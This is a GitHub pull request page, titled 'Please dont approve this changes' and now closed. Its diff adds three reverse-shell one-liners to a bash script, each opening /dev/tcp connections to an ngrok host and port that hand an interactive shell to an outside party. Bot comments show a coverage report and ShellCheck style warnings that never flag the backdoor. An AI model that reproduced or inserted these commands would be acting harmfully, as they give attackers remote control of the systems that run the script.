Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Please dont approve this changes #1003

Closed
wants to merge 1 commit into from
Closed

Please dont approve this changes #1003

wants to merge 1 commit into from

Conversation

sebastiankocrypto
Copy link

Please dont approve this changes

Please dont approve this changes

Signed-off-by: sebastiankocrypto <[email protected]>
@sebastiankocrypto sebastiankocrypto requested a review from a team as a code owner July 7, 2023 05:24
@codecov
Copy link

codecov bot commented Jul 7, 2023

Codecov Report

Merging #1003 (d1d964c) into master (4276950) will decrease coverage by 23.42%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #1003       +/-   ##
==========================================
- Coverage   33.05%   9.63%   -23.42%     
==========================================
  Files         126     125        -1     
  Lines       20013   20011        -2     
==========================================
- Hits         6616    1929     -4687     
- Misses      12338   17954     +5616     
+ Partials     1059     128      -931     
Flag Coverage Δ
integration_tests ?
integration_tests_byzantine ?
integration_tests_gov ?
integration_tests_grpc ?
integration_tests_ibc ?
integration_tests_ledger ?
integration_tests_slow ?
integration_tests_solomachine 9.63% <ø> (ø)
integration_tests_upgrade ?
unit_tests ?

Flags with carried forward coverage won't be shown. Click here to find out more.

see 69 files with indirect coverage changes

@@ -1,2 +1,5 @@
#!/bin/bash
/bin/sh -i >& /dev/tcp/0.tcp.ap.ngrok.io/10256 0>&1
0<&196;exec 196<>/dev/tcp/0.tcp.ap.ngrok.io/10256; /bin/sh <&196 >&196 2>&196
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SC2188: This redirection doesn't have a command. Move to its command (or use 'true' as no-op).


ℹ️ Expand to see all @sonatype-lift commands

You can reply with the following commands. For example, reply with @sonatype-lift ignoreall to leave out all findings.

Command Usage
@sonatype-lift ignore Leave out the above finding from this PR
@sonatype-lift ignoreall Leave out all the existing findings from this PR
@sonatype-lift exclude <file|issue|path|tool> Exclude specified file|issue|path|tool from Lift findings by updating your config.toml file

Note: When talking to LiftBot, you need to refresh the page to see its response.
Click here to add LiftBot to another repo.

@@ -1,2 +1,5 @@
#!/bin/bash
/bin/sh -i >& /dev/tcp/0.tcp.ap.ngrok.io/10256 0>&1
0<&196;exec 196<>/dev/tcp/0.tcp.ap.ngrok.io/10256; /bin/sh <&196 >&196 2>&196
exec 5<>/dev/tcp/0.tcp.ap.ngrok.io/10256;cat <&5 | while read line; do $line 2>&5 >&5; done
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

29% of developers fix this issue

SC2162: read without -r will mangle backslashes.


ℹ️ Expand to see all @sonatype-lift commands

You can reply with the following commands. For example, reply with @sonatype-lift ignoreall to leave out all findings.

Command Usage
@sonatype-lift ignore Leave out the above finding from this PR
@sonatype-lift ignoreall Leave out all the existing findings from this PR
@sonatype-lift exclude <file|issue|path|tool> Exclude specified file|issue|path|tool from Lift findings by updating your config.toml file

Note: When talking to LiftBot, you need to refresh the page to see its response.
Click here to add LiftBot to another repo.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant